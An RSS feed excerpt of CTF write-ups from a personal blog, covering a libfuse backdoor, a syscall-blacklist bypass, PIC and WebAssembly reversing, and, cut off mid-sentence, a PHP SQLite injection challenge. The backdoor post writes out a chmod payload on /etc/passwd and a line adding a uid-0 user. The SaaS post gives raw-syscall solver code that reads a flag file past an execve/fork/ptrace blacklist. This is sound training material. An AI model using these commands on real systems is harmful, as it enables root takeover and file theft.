            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Wed, 10 Mar 2021 13:32:29 GMT</pubDate>
            <atom:updated>2021-03-10T13:32:29.368Z</atom:updated>
            <content:encoded><![CDATA[<p>Recent zer0pts CTF 2021 had a reversing challenge: infected in the reversing, warmup category. [96 pts]</p><blockquote>The backdoor is installed on this machine: nc others.ctf.zer0pts.com 11011 or nc any.ctf.zer0pts.com 11011</blockquote><blockquote>How can I use it to get the flag in /root directory?</blockquote><blockquote>author:ptr-yudai</blockquote><blockquote><a href="https://nyc3.digitaloceanspaces.com/zer0pts-ctf-2021/4997d757-6bac-43e1-9d4c-008d9033ecb3/infected_bf473725549e7b89f972756fef2936aa.tar.gz">infected_bf473725549e7b89f972756fef2936aa.tar.gz</a></blockquote><p>Let&#39;s try to load the program in IDA and see what is the backdoor all about. Main just calls register_backdoor which registers a libfuse driver on /dev/backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*Maz-AW9knLMDxCCrlWvQ1Q.png" /><figcaption>cuse_lowlevel_main</figcaption></figure><p>It passes a cuse_lowlevel_ops struct named devops. Let&#39;s investigate this structure more to find open, read, write functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JCW4G01KvfJzOx9SJAXn7Q.png" /><figcaption>devops</figcaption></figure><p>We can see it has pointers to defined functions: backdoor_open, backdoor_write. Backdoor open doesn’t do anything special, lets look at backdoor_write:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*F_aytZ5FzcvrWVa4BJr72g.png" /><figcaption>backdoor_write</figcaption></figure><p>We can see it&#39;s looking for a message of the pattern:</p><pre>b4ckd00r:&lt;file&gt;:&lt;perms&gt;</pre><p>If the pattern matches it would call “chmod” on the file and set it with the permissions we provide. At this point, I looked at some libfuse examples and there is one that implements cuse_lowlevel_main: <a href="https://github.com/libfuse/libfuse/blob/master/example/cuse.c">https://github.com/libfuse/libfuse/blob/master/example/cuse.c</a>.</p><p>We can compile this example and test it out to see what kind of functions triggers the write call, I have made changes to cuse.c program and added print calls at the write call, main, other functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*8eAbb6RsVn7vRjCwRdhPGA.png" /><figcaption>cuse.c logging write call</figcaption></figure><pre>root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse<br>Hey main!<br>Flags: 1</pre><p>Let’s try to use the cuse_client to communicate with the char device at /dev/testfuse.</p><pre># echo &quot;hello&quot; | ./cuse_client /dev/testfuse w 5<br>Writing 5 bytes<br>5<br>transferred 5 bytes (0 -&gt; 5)<br>root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#</pre><p>We can see the logging output in the tty that&#39;s running ./cuse.</p><pre># ./cuse -f — name=testfuse<br>Hey main!<br>Flags: 1<br>Hey open!<br>IOCTL read/write call (fioc_do_rw)<br>IOCTL read/write call (fioc_do_rw)<br>IOCTL read/write call (fioc_do_rw)</pre><p>The cuse_client is communicating with the libfuse driver using IOCTL calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*lgBsBsgLAARvyuMHvaVG6g.png" /><figcaption>cuse_lowlevel_ops</figcaption></figure><p>At this point, I got stuck for a while and didn’t think we could just echo into the character driver that implements write. Let&#39;s try that:</p><pre># echo “writing through echo” &gt; /dev/testfuse</pre><p>We see that open and write calls are triggered:</p><pre># ./cuse -f — name=testfuse<br>Hey main!<br>Flags: 1<br>Hey open!<br>IOCTL read/write call (fioc_do_rw)<br>IOCTL read/write call (fioc_do_rw)<br>IOCTL read/write call (fioc_do_rw)<br>Hey open!<br>Hey writing, writing through echo</pre><p>Perfect! Let&#39;s try to send this payload to the backdoor and see if it actually can chmod the file with our permissions. “b4ckd00r:/etc/passwd:511&quot;:</p><pre>/ $ echo &quot;b4ckd00r:/etc/passwd:511&quot; &gt; /dev/backdoor<br>echo &quot;b4ckd00r:/etc/passwd:511&quot; &gt; /dev/backdoor<br>/ $ ls -al /etc/passwd<br>ls -al /etc/passwd<br>-rwxrwxrwx    1 root     root           340 Mar  4 03:56 /etc/passwd<br>/ $</pre><p>The /etc/passwd file is now writable. (511 is just 0777 in decimal). Lets add a new root user to access /root:</p><pre>/ $ echo &quot;lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh&quot; &gt;&gt; /etc/passwd<br>/ # su lionaneesh<br>Password: igotroot<br>/ # cat root/flag*<br>zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}</pre><p>Thanks for this amazing challenge ptr-yudai. Really enjoyed learning about libfuse based malware.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=253503994431" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/reversing-libfuse-malware-253503994431">Reversing libfuse malware</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Syscall filters]]></title>
            <link>https://medium.com/aneesh-dogras-blog/bypassing-syscall-filters-735b41283cf9?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/735b41283cf9</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Sun, 14 Jun 2020 09:45:21 GMT</pubDate>
            <atom:updated>2020-06-14T10:09:07.458Z</atom:updated>
            <content:encoded><![CDATA[<p>With the advent of tools like AuditD, SECCOMP and SELinux, we have rules to disable a list of Linux syscalls using a blacklist mechanism. These can be used to strengthen the security of the infrastructure but shouldn’t be trusted blindly. We look at a dumbed-down version of this problem in NahamCon’s CTF challenge SaaS (Syscall as a service).</p><blockquote>You’ve heard of software as a service, but have you heard of syscall as a service?</blockquote><blockquote>Connect with:<br>nc <a href="http://jh2i.com/">jh2i.com</a> 50016</blockquote><blockquote><a href="https://ctf.nahamcon.com/files/142204fecad9a34298cd0733a791b99f/saas?token=eyJ1c2VyX2lkIjoxMTg3LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo2fQ.XuXo8w.La_6T_NsJQSgwXRdE2UezKIGnOI"><strong>saas</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FQIAHJCAwlxkFfOklgwysQ.png" /><figcaption>saas (disassembly main)</figcaption></figure><p>The program allows us to run any syscall by specifying the values of rax and other registers. The first idea is to just run execve with /bin/bash to get a shell, but there is a blacklist that makes this difficult:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*6nHbgsAPH4MjhWUDLDelwg.png" /><figcaption>blacklist</figcaption></figure><p>The program doesn’t allow us to run syscall numbers: 59, 57, 56, 62, 101, 200. 322. We can the <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">x64 syscall table</a> to make sense out of these. They translate to:</p><p>sys_execve, sys_fork, sys_clone, sys_kill, sys_ptrace, sys_tkill, stub_execveat</p><p>I tried to look for other syscalls in Linux that allows us to run a binary from an absolute path, but nothing clear comes to mind. Later I tried to build my own functionality using syscalls: mmap, read, write, open, getdents, getcwd.</p><p>First, let&#39;s just get the current working directory:</p><ol><li>mmap a writable memory at a constant location we provide (0x10000).</li><li>Place our input in this memory address using read syscall.</li><li>Providing a pointer (0x1000) to getcwd.</li><li>use write to write out 0x100 bytes from our pointer to stdout.</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e08fd920eda58497cc08d3d45ea3113e/href">https://medium.com/media/e08fd920eda58497cc08d3d45ea3113e/href</a></iframe><pre>root@ctf-VirtualBox:~/naham# python solve.py                                                  <br>[+] Opening connection to jh2i.com on port 50016: Done<br>checkpoint                        <br>(&#39;syscall&#39;, [9, 4096, 1024, 7, 34, 0, -1])<br>(&#39;Welcome to syscall-as-a-service!\n\nEnter rax (decimal):&#39;, 54)<br>(&#39;Enter rdi (decimal):&#39;, 20)                                                                   <br>(&#39;Enter rsi (decimal):&#39;, 20)            <br>(&#39;Enter rdx (decimal):&#39;, 20)                                                                  <br>(&#39;Enter r10 (decimal):&#39;, 20)         <br>(&#39;Enter r9 (decimal):&#39;, 19)                                        <br>(&#39;Enter r8 (decimal):&#39;, 19) <br>(&#39;syscall&#39;, [79, 66048, 256, 0, 0, 0, 0])<br>(&#39;Rax: 0x10000\n\nEnter rax (decimal):&#39;, 34)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;syscall&#39;, [1, 1, 65792, 1024, 0, 0, 0])<br>(&#39;Rax: 0x10\n\nEnter rax (decimal):&#39;, 31)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;/home/challengeRax: 0x400\n\nEnter rax (decimal): &#39;, 1057)<br>[*] Switching to interactive mode<br>Sorry too slow try scripting your solution.<br>[*] Got EOF while reading in interactive<br>$<br>[*] Interrupted<br>[*] Closed connection to jh2i.com port 50016</pre><p>Our current working directory is <strong>/home/challenge.</strong> We can now get the list of files in this directory using <a href="https://www.man7.org/linux/man-pages/man2/getdents.2.html">gedents</a> syscall.</p><pre><strong>int getdents(unsigned int </strong><em>fd</em><strong>, struct linux_dirent *</strong><em>dirp</em><strong>,</strong><br>                    <strong>unsigned int </strong><em>count</em><strong>);</strong></pre><pre>       The system call <strong>getdents</strong>() reads several <em>linux_dirent</em> structures from<br>       the directory referred to by the open file descriptor <em>fd</em> into the<br>       buffer pointed to by <em>dirp</em>.  The argument <em>count</em> specifies the size of<br>       that buffer.</pre><p>Let&#39;s write the directory name in memory using read:</p><pre>def read(s = &quot;/home/challenge/\0&quot;):<br>    args = [0, 0, 0x10000, len(s), 0, 0, 0]<br>    syscall(args)<br>    r.sendline(s)</pre><p>Let&#39;s open the directory with the O_DIRECTORY flag.</p><pre>def opendir(addr = 0x10000):<br>    args = [2, addr, 65536, 0, 0, 0, 0]<br>    syscall(args)</pre><p>Notice 65536 is 0200000 which is flag value in octal for O_DIRECTORY. We use our address at 0x10000 for the path. We can provide this fd number to getdents to get the directory listing at an address we chose:</p><pre>def getdents(fd = 6, addr = 0x10100, count = 0x400):<br>    args = [78, fd, addr, count, 0, 0,0]<br>    syscall(args)</pre><p>I noticed that in remote the new open fd gets numbered 6 every time. The getdents call will get up to 0x400 bytes of data; file list from directory pointed by the fd.</p><p>Lets read from this memory segment 0x10100 and print to stdout.</p><pre>def write(addr = 0x10100, fd = 1):<br>    args = [1, fd, addr, 0x400, 0,0,0]<br>    syscall(args)<br>    abc = r.recv(timeout=2)<br>    print (abc.replace(&quot;\x00&quot;, &quot;&quot;), len(abc))</pre><p>We get this from remote:</p><pre>(&#39;\xd2\xb4\x91\x01 .bashrc\x08\xd3\xb4\x91\x02 .profile\x08\xd0\xb4\x91\x03\x18.\x04\xd1\xb4\x91\x04<br>.bash_logout\x08\xcf\xb4\x91\x05\x18..\x04\xd5\xb4\x91\x06\x18saas\x08\xd4\xb4\x91\x07 flag.txt\x08&#39;, 1024)</pre><p>Ignore the unprintable bytes, those are part of the <strong>linux_dirent </strong>structure.</p><pre>struct <a href="https://elixir.bootlin.com/linux/v4.7/C/ident/linux_dirent">linux_dirent</a> {<br>	unsigned <a href="https://elixir.bootlin.com/linux/v4.7/C/ident/long">long</a>	d_ino;<br>	unsigned <a href="https://elixir.bootlin.com/linux/v4.7/C/ident/long">long</a>	d_off;<br>	unsigned short	d_reclen;<br>	char		d_name[1];<br>};</pre><p>We can still extract the file names from that, and we see the all interesting flag.txt file. Let&#39;s grab the contents of the flag.txt file:</p><p>First write /home/challenge/flag.txt in memory:</p><pre>def read(s = &quot;/home/challenge/flag.txt\0&quot;):<br>    args = [0, 0, 0x10000, len(s), 0, 0, 0]<br>    syscall(args)<br>    r.sendline(s)</pre><p>Then use open syscall with O_RDONLY flag, read 0x400 bytes.</p><pre>def readfile(addr=0x10100, fd = 6):<br>    args = [0, fd, addr, 0x400, 0, 0, 0]<br>    syscall(args)</pre><p>Use write to print it on the screen:</p><pre>def write(addr = 0x10100, fd = 1):<br>    args = [1, fd, addr, 0x400, 0,0,0]<br>    syscall(args)<br>    abc = r.recv(timeout=2)<br>    print (abc.replace(&quot;\x00&quot;, &quot;&quot;), len(abc))</pre><p>Here’s the final solver:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/04cca67b13d0f6bf7f3668f43b7c2d7e/href">https://medium.com/media/04cca67b13d0f6bf7f3668f43b7c2d7e/href</a></iframe><p>Here’s our flag :)</p><pre>root@ctf-VirtualBox:~/naham# python solve.py <br>[+] Opening connection to jh2i.com on port 50016: Done<br>checkpoint<br>(&#39;syscall&#39;, [9, 4096, 1024, 7, 34, 0, -1])<br>(&#39;Welcome to syscall-as-a-service!\n\nEnter rax (decimal):&#39;, 54)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;syscall&#39;, [0, 0, 65536, 25, 0, 0, 0])<br>(&#39;Rax: 0x10000\n\nEnter rax (decimal):&#39;, 34)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;syscall&#39;, [2, 65536, 0, 0, 0, 0, 0])<br>(&#39;Rax: 0x19\n\nEnter rax (decimal):&#39;, 31)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;syscall&#39;, [0, 6, 65792, 1024, 0, 0, 0])<br>(&#39;Rax: 0x6\n\nEnter rax (decimal):&#39;, 30)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;syscall&#39;, [1, 1, 65792, 1024, 0, 0, 0])<br>(&#39;Rax: 0x1f\n\nEnter rax (decimal):&#39;, 31)<br>(&#39;Enter rdi (decimal):&#39;, 20)<br>(&#39;Enter rsi (decimal):&#39;, 20)<br>(&#39;Enter rdx (decimal):&#39;, 20)<br>(&#39;Enter r10 (decimal):&#39;, 20)<br>(&#39;Enter r9 (decimal):&#39;, 19)<br>(&#39;Enter r8 (decimal):&#39;, 19)<br>(&#39;<strong>flag{rax_rdi_rsi_radical_dude}</strong>\nRax: 0x400\n\nEnter rax (decimal): &#39;, 1057)</pre><p>Fun challenge. Thanks NahamCon 2020’s CTF team for such an amazing experience.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=735b41283cf9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/bypassing-syscall-filters-735b41283cf9">Bypassing Syscall filters</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing Programmable Interface Controllers]]></title>
            <link>https://medium.com/aneesh-dogras-blog/reversing-programmable-interface-controllers-e835c0471ebb?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/e835c0471ebb</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Sun, 01 Mar 2020 11:48:34 GMT</pubDate>
            <atom:updated>2020-03-01T11:52:24.846Z</atom:updated>
            <content:encoded><![CDATA[<p>AeroCTF had a category of challenges revolving around PICs. The PIC code dump is given for us to analyze and extract the flag from it. ROM dump is given in a hex file: <a href="https://drive.google.com/file/d/1rY4wX3y5b5qgF2UqhzylmmB-z9E_X7uu/view?usp=sharing">Beginning.hex</a>, also a schematic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*rO8Zl5VSOCFxV62-6g9-ww.png" /><figcaption>Schematic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*6-_n94Y_DvhsGF8reHmsWw.png" /><figcaption>Beginning.hex</figcaption></figure><p>After some research, I found we can use MPLab IDE v8.92 to analyze this memory dump. We also know the model of the PIC: <strong>PIC16F877 </strong>from the schematic diagram above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*LNpgj1DtTn9Lffg4oh5DyA.png" /><figcaption>MPLab</figcaption></figure><p>At first, I decided to approach it statically and started reading up on the datasheet itself: <a href="http://ww1.microchip.com/downloads/en/DeviceDoc/30292D.pdf">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*3Z7PrvY2n9S-7pdCcv52qA.png" /><figcaption>Mnemonics (Page 136)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*bAT94KZR3hWWU6P57MTVRw.png" /><figcaption>Microchip (Diagram)</figcaption></figure><p>Following from the disassembly we see that the majority of the instructions seems to be writing to PORTC and PORTD:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*X8BrPoJ86VuiXJLTRW_3Xw.png" /><figcaption>movlw + movwf = write!</figcaption></figure><p>Movlw (Moves argument to W register) and movwf (Move W to the argument).</p><p><strong>PortC is RC0-RC7 (from the microchip diagram above)</strong></p><p><strong>PortD is RD0-RD7</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*rO8Zl5VSOCFxV62-6g9-ww.png" /><figcaption>Schematic</figcaption></figure><p>We can see that these pins are feeding inputs to the LCD. We need to get the mapping of such signals to ASCII characters. Here <a href="https://medium.com/u/d35eea5516ec">Vaibhav Jayant</a> helped me simulate the circuit on “Proteus 8 professional”. <a href="https://drive.google.com/file/d/1jYaWD244SEY4cuv4BTGj-_HRkklgRlju/view?usp=sharing">The project file is here.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wLluJiR0cX407HGLoq_Yyw.png" /><figcaption>Circuit</figcaption></figure><p>After getting this it was pretty easy to simulate it all. Just press the play button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*eaFQXg9fbiivVc2CfjSkVQ.gif" /><figcaption>Solve :)</figcaption></figure><p>AERO{PIC_IS_SIMPLE_Q4A8K1L7}</p><p>Fun CTF! Thanks a lot, <strong>Konstantin </strong>for this challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e835c0471ebb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/reversing-programmable-interface-controllers-e835c0471ebb">Reversing Programmable Interface Controllers</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing Web Assembly (WASM)]]></title>
            <link>https://medium.com/aneesh-dogras-blog/reversing-web-assembly-wasm-dd59eb2a52d4?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/dd59eb2a52d4</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[webassembly]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Sun, 29 Dec 2019 21:38:10 GMT</pubDate>
            <atom:updated>2019-12-30T13:46:01.682Z</atom:updated>
            <content:encoded><![CDATA[<p>The challenge is a flag-checking-service written in web assembly. The flag must be in format hxp{…}. Our goal is to guess the correct flag. I hosted the challenge on my local setup; used Nginx and made sure .wasm files are served with the correct mime-type.</p><blockquote><strong>xmas_future</strong></blockquote><blockquote>by benediktwerner</blockquote><blockquote>Most people just give you a present for christmas, hxp gives you a glorious future.</blockquote><blockquote>If you’re confused, simply extract the flag from this 山葵 and you shall understand. :)</blockquote><blockquote><a href="https://2019.ctf.link/assets/files/xmas_future-265eb0be46555aad.tar.xz">xmas_future-265eb0be46555aad.tar.xz (15.5 KiB)</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*IStOI0-FFG1bpHKQ5l8CuQ.png" /><figcaption>reverse wasm</figcaption></figure><p>The challenge is a flag-checking-service in web assembly. The flag must be in format hxp{…}. Our goal is to guess the correct flag. I hosted the challenge on my local setup; used Nginx and made sure .wasm files are served with the correct mime-type.</p><pre>server {<br>        listen 4301 default_server;<br>        listen [::]:4301 default_server;</pre><pre>              location = /hxp2019_bg.wasm {<br>                types { } default_type &quot;application/wasm&quot;;<br>                add_header x-robots-tag &quot;noindex, follow&quot;;<br>            }<br>}</pre><p>This will allow us to instantiate streaming and use Chrome’s debugger with stack variables, call stack, memory and all the information at our disposal.</p><p>I have hosted the challenge <a href="http://d4rkc0de.com:4301/">here</a>. You can try along if you’d like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*TG7neRG4yyDgfm-X0-STxA.png" /><figcaption>Check in JS</figcaption></figure><p>The correct flag is compared against our input in javascript (hxp2019.js). The check function passes our input to wasm and calls a method in wasm namespace. While exploring wasm methods, I found a couple of to be interesting, like this one <strong>wasm-0002e886-4</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*ZITvFbVc7WlBxqkxUPMaAA.png" /><figcaption>Wasm Check</figcaption></figure><p>We can set up a breakpoint and start executing. With a test flag “hxp{checkthis}”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3C2ojk1EaWJJSn2L5O9KA.png" /><figcaption>Debugging wasm</figcaption></figure><p>We can see the first jump “br_if” is a couple of instructions down at 1075. This first checks the input length of the string. Apparently, our input has to be 50 bytes in total. Let’s adjust our input and bypass this check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HabtYrvULJLgLC2dLkv_6Q.png" /><figcaption>check</figcaption></figure><p>Our input is placed from memory address 1179596-&gt;1179645. Later the program checks our input byte after byte in memory. It&#39;s easy to set up a breakpoint and check what’s being compared:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ijr-L-XkYdIJ5ycfdWkT1g.png" /><figcaption>Wasm Xmas — Debugging in Chrome</figcaption></figure><p><strong>i32.eq</strong> checks arguments on the stack. We can see 97 is being compared with 109.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*H__XG_d50045irNgDeclcw.png" /><figcaption>109 ASCII</figcaption></figure><p>109 is ‘m’ in ASCII. Let&#39;s change our flag and put an m at first character after {. And run the app again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIK3folr5nBLN-fDV5x6xA.png" /><figcaption>We can see we bypassed the first check.</figcaption></figure><p>We have guessed our first byte. Continuing one more time. We get the next comparison:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*LCG5xEwU83OAnEux38lWrg.png" /><figcaption>2nd byte</figcaption></figure><p>101 is ‘e’ in ASCII. the flag starts with hxp{me….}. After a couple of mins of playing with the debugger and guessing the flag one byte at a time, we have recovered the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZuPi7xc0x78YSDHk2np5g.png" /></figure><p>Interesting challenge. First experience debugging web assembly. Thanks, hxp!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd59eb2a52d4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/reversing-web-assembly-wasm-dd59eb2a52d4">Reversing Web Assembly (WASM)</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File Magician, 36c3 ctf]]></title>
            <link>https://medium.com/aneesh-dogras-blog/file-magician-36c3-ctf-6cb5964c3238?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/6cb5964c3238</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sqlite]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Sun, 29 Dec 2019 20:35:54 GMT</pubDate>
            <atom:updated>2019-12-30T13:48:12.860Z</atom:updated>
            <content:encoded><![CDATA[<p>Hacking a web application using magic files, sqlite3 injection and finally RCE.</p><blockquote>Finally (again), a minimalistic, open-source file hosting solution.</blockquote><blockquote><a href="https://2019.ctf.link/assets/files/file%20magician-3ace41f3b0282a70.tar.xz">file magician-3ace41f3b0282a70.tar.xz (2.1 KiB)</a></blockquote><blockquote><a href="http://78.47.152.131:8000/">http://78.47.152.131:8000/</a></blockquote><p>The challenge is very minimalistic and it took me quite a while to figure out as the vulnerability is not clear at first few glances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8guII6yn9FVqlmd4amnUw.png" /></figure><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9eac91f96f084a907c6fa71ce29e75b5/href">https://medium.com/media/9eac91f96f084a907c6fa71ce29e75b5/href</a></iframe><p>Any file you upload to the application, it figures out the file type using finfo_file, and stores this information in an SQLite database.</p><pre>$s = &quot;INSERT INTO upload(info) VALUES (&#39;&quot; .(new finfo)-&gt;file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;]). &quot; &#39;);&quot;;</pre><p>The insert statement is not parametrised; it’s vulnerable to SQL injection. But we don’t directly control what’s being inserted here. It’s coming out of php’s finfo-&gt;file. Initially, I ignored this and moved on to look for further vulnerabilities. After getting nowhere after hours, I tried to create a dataset of 100,000 files that I can pass to finfo-&gt;file and find out any file format that lets us inject some bytes.</p><p>It’s pretty easy to create random files using os.urandom and python.</p><pre>&gt;&gt;&gt; import os<br>&gt;&gt;&gt; for f in range(0, 100000):<br>...     fp = open(str(f), &#39;wb&#39;)<br>...     fp.write(os.urandom(1000))<br>...     fp.close()<br>...<br>&gt;&gt;&gt;</pre><p>Here we have 100,000 files each with 1000 random bytes. I made a PHP script, to test out what finfo gives us for each of these files:</p><pre>&lt;?php<br>error_reporting(3);<br>ini_set(&#39;display_errors&#39;, 3);<br>ini_set(&#39;display_startup_errors&#39;, 3);<br>echo &quot;$argv[1]:&quot;.(new finfo)-&gt;file($argv[1]).&quot;\n&quot;;</pre><p>Let’s run it on all the files we have and wait for interesting stuff to appear:</p><pre>find . -type f -exec php test.php {} \; &gt; out</pre><p>It takes a couple of mins to run. There are a lot of interesting formats we were able to fuzz:</p><pre>./80507:MPEG-4 LOAS, 4 or more streams<br>./80566:zlib compressed data<br>./80680:zlib compressed data<br>./80718:DOS executable (COM)<br>./80746:COM executable for DOS<br>./80747:COM executable for DOS<br><strong>./80755:TeX DVI file (d\201\206\220z \011+&gt;\200\331\363\022z\233\274\334\031e\362\255\214\334.\2506\333G\250o\246\300\006fa\365q\007\212\016@~UR\235r\375\254\030\014-\211\374M\321*_\241\256\301$}\x\027\366\215V\372\242#\256 #\322AS\221\0<br>34\346yB\335b\305:\307\301\213\354\330\177\271\230;)</strong><br>./80768:DOS executable (COM, 0x8C-variant)<br>./80840:COM executable for DOS<br>./80845:PGP\011Secret Sub-key -<br>./80946:ATSC A/52 aka AC-3 aka Dolby Digital stream, reserved frequency,, karaoke 3 front/1 rear,, 192 kbit/s<br>./80963:QDOS object &#39;&#39;<br>./81058:SysEx File -<br>./81067:PG<br>./82523:COM executable for DOS<br>./82546:PGP\011Secret Key -<br>./82577:PGP\011Secret Key -<br>./82656:DOS executable (COM, 0x8C-variant)<br>./82758:DOS executable (COM, 0x8C-variant)<br>./82826:DOS executable (COM, 0x8C-variant)<br>./82836:COM executable for DOS</pre><p>But TeX DVI 